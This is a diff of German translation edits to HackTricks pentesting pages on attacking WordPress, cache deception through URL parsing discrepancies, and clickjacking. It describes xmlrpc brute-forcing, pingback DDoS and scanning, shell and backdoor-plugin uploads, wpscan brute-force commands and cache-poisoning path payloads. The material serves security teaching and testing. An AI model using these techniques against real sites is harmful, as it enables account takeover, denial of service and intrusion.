+Wenn `xml-rpc.php` aktiv ist, können Sie einen Brute-Force-Angriff auf Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ indem Sie dies verwenden](https://github.com/relarizky/wpxploit) zum Beispiel).
Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen und senden Sie diese Anfrage:
@@ -122,7 +122,7 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
**Anmeldeinformationen Bruteforce**
-**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu bruteforcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
+**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu brute-forcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
```markup
wp.getUsersBlogs
@@ -132,13 +132,13 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
```
-Die Nachricht _"Ungültiger Benutzername oder Passwort"_ innerhalb einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldeinformationen nicht gültig sind.
+Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
-Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad erscheinen ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
@@ -178,8 +178,8 @@ Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, da
**DDoS oder Port-Scanning**
-Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie Wordpress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
-Dies kann verwendet werden, um **tausende** von Wordpress **Seiten** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **Wordpress** dazu zu bringen, einige interne **Netzwerke** zu **scannen** (Sie können jeden Port angeben).
+Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie WordPress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
+Dies kann verwendet werden, um **tausende** von WordPress **Websites** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
```markup
pingback.ping
@@ -210,10 +210,10 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
### wp-cron.php DoS
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
-Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
-Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
+Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
+Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
-Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
+Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
### /wp-json/oembed/1.0/proxy - SSRF
@@ -229,9 +229,9 @@ Dies ist die Antwort, wenn es nicht funktioniert:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
-Dieses Tool überprüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
+Dieses Tool überprüft, ob die **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
-## Automatische Werkzeuge
+## Automatische Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Zugriff durch Überschreiben eines Bits erhalten
-Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
+Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT (`!`) Operation zu NOPen.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@@ -285,7 +285,7 @@ Klicken Sie auf Fortfahren:
.png>)
-Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre Shell hochgeladen sehen:
+Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre hochgeladene Shell sehen:
.png>)
@@ -304,10 +304,10 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Ausnutzung**:
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.
-- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
+- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch das Laden des entsprechenden Moduls und das Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
-Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. beim Penetration Testing mit ausdrücklicher Genehmigung.
+Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@@ -315,7 +315,7 @@ Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboar
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Skript, das entwickelt wurde, um eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
- _**Privilegieneskalation:**_ Erstellt einen Benutzer in WordPress.
-- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
+- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) Hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- _**(RCE) Eingebautes Plugin bearbeiten:**_ Bearbeiten Sie ein eingebautes Plugin in WordPress.
- _**(RCE) Eingebautes Theme bearbeiten:**_ Bearbeiten Sie ein eingebautes Theme in WordPress.
- _**(Benutzerdefiniert) Benutzerdefinierte Exploits:**_ Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.
@@ -336,19 +336,19 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Aufzählungspunkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
-- **`wp_ajax`**
+- **`wp_ajax`**
-Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
+Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
-**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).**
+**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer (auch für nicht authentifizierte) zugänglich.**
> [!CAUTION]
-> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Berechtigungen Zugriff auf hochprivilegierte Aktionen haben.
+> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
- **REST API**
@@ -368,7 +368,7 @@ Der `permission_callback` ist ein Callback zu einer Funktion, die überprüft, o
- **Direkter Zugriff auf die PHP-Datei**
-Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die nur durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar.
+Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität bereitstellt, die durch den Zugriff auf die Datei ausgelöst wird, kann es von jedem Benutzer ausgenutzt werden.
## WordPress-Schutz
@@ -390,7 +390,7 @@ Auch, **installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
### **Weitere Empfehlungen**
-- Entfernen Sie den standardmäßigen **admin**-Benutzer
+- Entfernen Sie den standardmäßigen **Admin**-Benutzer
- Verwenden Sie **starke Passwörter** und **2FA**
- Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
- **Begrenzen Sie die Anmeldeversuche**, um Brute-Force-Angriffe zu verhindern
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 37ca0f8ab..436bffaec 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -7,31 +7,31 @@ Dies ist eine Zusammenfassung der Techniken, die in dem Beitrag [https://portswi
> [!NOTE]
> Das Ziel dieses Angriffs ist es, **den Cache-Server glauben zu lassen, dass eine statische Ressource geladen wird**, sodass er sie cached, während der Cache-Server als Cache-Schlüssel einen Teil des Pfades speichert, aber der Webserver auf einen anderen Pfad antwortet. Der Webserver wird den echten Pfad auflösen, der eine dynamische Seite lädt (die möglicherweise sensible Informationen über den Benutzer, eine bösartige Payload wie XSS oder eine Umleitung zum Laden einer JS-Datei von der Website des Angreifers enthält).
-## Delimiter
+## Delimiters
-**URL-Delimiter** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprungs-Delimiter sind:
+**URL-Delimiters** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprungs-Delimiters sind:
-- **Semikolon**: Wird in Spring für Matrixvariablen verwendet (z.B. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
-- **Punkt**: Gibt das Antwortformat in Ruby on Rails an (z.B. `/MyAccount.css` → `/MyAccount`).
-- **Null-Byte**: Kürzt Pfade in OpenLiteSpeed (z.B. `/MyAccount%00aaa` → `/MyAccount`).
-- **Newline-Byte**: Trennt URL-Komponenten in Nginx (z.B. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
+- **Semikolon**: Wird in Spring für Matrixvariablen verwendet (z. B. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
+- **Punkt**: Gibt das Antwortformat in Ruby on Rails an (z. B. `/MyAccount.css` → `/MyAccount`).
+- **Null-Byte**: Kürzt Pfade in OpenLiteSpeed (z. B. `/MyAccount%00aaa` → `/MyAccount`).
+- **Newline-Byte**: Trennt URL-Komponenten in Nginx (z. B. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
-Andere spezifische Delimiter könnten in diesem Prozess gefunden werden:
+Andere spezifische Delimiters könnten in diesem Prozess gefunden werden:
- **Schritt 1**: Identifizieren Sie nicht-cachebare Anfragen und verwenden Sie diese, um zu überwachen, wie URLs mit potenziellen Delimitern behandelt werden.
- **Schritt 2**: Fügen Sie zufällige Suffixe zu Pfaden hinzu und vergleichen Sie die Antwort des Servers, um festzustellen, ob ein Zeichen als Delimiter fungiert.
-- **Schritt 3**: Führen Sie potenzielle Delimiter vor dem zufälligen Suffix ein, um zu sehen, ob sich die Antwort ändert, was auf die Verwendung von Delimitern hinweist.
+- **Schritt 3**: Führen Sie potenzielle Delimiter vor dem zufälligen Suffix ein, um zu sehen, ob sich die Antwort ändert, was auf die Verwendung des Delimiters hinweist.
-## Normalisierung & Kodierungen
+## Normalisierung & Encodings
- **Zweck**: URL-Parser in sowohl Cache- als auch Ursprungsservern normalisieren URLs, um Pfade für die Endpunktzuordnung und Cache-Schlüssel zu extrahieren.
-- **Prozess**: Identifiziert Pfad-Delimiter, extrahiert und normalisiert den Pfad, indem Zeichen dekodiert und Punktsegmente entfernt werden.
+- **Prozess**: Identifiziert Pfad-Delimiters, extrahiert und normalisiert den Pfad, indem Zeichen dekodiert und Punktsegmente entfernt werden.
-### **Kodierungen**
+### **Encodings**
-Verschiedene HTTP-Server und Proxys wie Nginx, Node und CloudFront dekodieren Delimiter unterschiedlich, was zu Inkonsistenzen zwischen CDNs und Ursprungsservern führen kann, die ausgenutzt werden könnten. Zum Beispiel, wenn der Webserver diese Transformation durchführt `/myAccount%3Fparam` → `/myAccount?param`, aber der Cache-Server den Pfad `/myAccount%3Fparam` als Schlüssel behält, gibt es eine Inkonsistenz.
+Verschiedene HTTP-Server und Proxys wie Nginx, Node und CloudFront dekodieren Delimiter unterschiedlich, was zu Inkonsistenzen zwischen CDNs und Ursprungsservern führen kann, die ausgenutzt werden könnten. Zum Beispiel, wenn der Webserver diese Transformation durchführt `/myAccount%3Fparam` → `/myAccount?param`, aber der Cache-Server den Pfad `/myAccount%3Fparam` als Schlüssel behält, gibt es eine Inkonsistenz.
-Eine Möglichkeit, diese Inkonsistenzen zu überprüfen, besteht darin, Anfragen mit URL-Kodierung verschiedener Zeichen zu senden, nachdem der Pfad ohne Kodierung geladen wurde, und zu überprüfen, ob die Antwort des kodierten Pfades von der zwischengespeicherten Antwort stammt.
+Eine Möglichkeit, diese Inkonsistenzen zu überprüfen, besteht darin, Anfragen mit URL-Codierung verschiedener Zeichen zu senden, nachdem der Pfad ohne Codierung geladen wurde, und zu überprüfen, ob die Antwort des codierten Pfades von der zwischengespeicherten Antwort stammt.
### Punktsegment
@@ -47,6 +47,6 @@ Einige Cache-Server werden immer eine Antwort cachen, wenn sie als statisch iden
- **Bekannte statische Verzeichnisse**: Die folgenden Verzeichnisse enthalten statische Dateien und daher sollte ihre Antwort zwischengespeichert werden: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Es ist möglich, einen Cache zu zwingen, eine dynamische Antwort zu speichern, indem ein Delimiter, ein statisches Verzeichnis und Punkte verwendet werden, wie: `/home/..%2fstatic/something` wird `/static/something` cachen und die Antwort wird `/home` sein.
- **Statische Verzeichnisse + Punkte**: Eine Anfrage an `/static/..%2Fhome` oder an `/static/..%5Chome` könnte so zwischengespeichert werden, wie sie ist, aber die Antwort könnte `/home` sein.
-- **Statische Dateien:** Einige spezifische Dateien werden immer zwischengespeichert, wie `/robots.txt`, `/favicon.ico` und `/index.html`. Diese können missbraucht werden, wie `/home/..%2Frobots.txt`, wo der Cache möglicherweise `/robots.txt` speichert und der Ursprungsserver auf `/home` antwortet.
+- **Statische Dateien:** Einige spezifische Dateien werden immer zwischengespeichert, wie `/robots.txt`, `/favicon.ico` und `/index.html`. Dies kann ausgenutzt werden wie `/home/..%2Frobots.txt`, wo der Cache möglicherweise `/robots.txt` speichert und der Ursprungsserver auf `/home` antwortet.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 06788f541..a4144c77a 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -89,14 +89,14 @@ background: #F00;
```
### XSS + Clickjacking
-Wenn Sie einen **XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer** auf ein Element klickt, um den XSS auszulösen, und die Seite **anfällig für Clickjacking** ist, könnten Sie dies ausnutzen, um den Benutzer zu täuschen, auf die Schaltfläche/den Link zu klicken.\
+Wenn Sie einen **XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer** auf ein Element klickt, um den **XSS auszulösen** und die Seite **anfällig für Clickjacking** ist, könnten Sie dies ausnutzen, um den Benutzer zu täuschen, damit er auf die Schaltfläche/den Link klickt.\
Beispiel:\
-_You haben einen **self XSS** in einigen privaten Details des Kontos gefunden (Details, die **nur Sie festlegen und lesen können**). Die Seite mit dem **Formular**, um diese Details festzulegen, ist **anfällig** für **Clickjacking** und Sie können das **Formular** mit den GET-Parametern **vorbefüllen**._\
-\_\_Ein Angreifer könnte einen **Clickjacking**-Angriff auf diese Seite vorbereiten, indem er das **Formular** mit der **XSS-Nutzlast** **vorbefüllt** und den **Benutzer** dazu bringt, das Formular **abzusenden**. Wenn das Formular also **eingereicht wird** und die Werte geändert werden, wird der **Benutzer den XSS ausführen**.
+Sie haben einen **self XSS** in einigen privaten Details des Kontos gefunden (Details, die **nur Sie festlegen und lesen können**). Die Seite mit dem **Formular**, um diese Details festzulegen, ist **anfällig** für **Clickjacking** und Sie können das **Formular** mit den GET-Parametern **vorbefüllen**.\
+Ein Angreifer könnte einen **Clickjacking**-Angriff auf diese Seite vorbereiten, indem er das **Formular** mit der **XSS-Nutzlast** **vorbefüllt** und den **Benutzer** dazu bringt, das Formular zu **übermitteln**. Wenn das **Formular übermittelt wird** und die Werte geändert werden, wird der **Benutzer den XSS ausführen**.
## Strategien zur Minderung von Clickjacking
-### Client-Seitige Abwehrmaßnahmen
+### Client-seitige Abwehrmaßnahmen
Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:
@@ -121,7 +121,7 @@ Die `allow-forms` und `allow-scripts` Werte ermöglichen Aktionen innerhalb des
#### X-Frame-Options
-Der **`X-Frame-Options` HTTP-Antwortheader** informiert Browser über die Legitimität der Darstellung einer Seite in einem `` oder `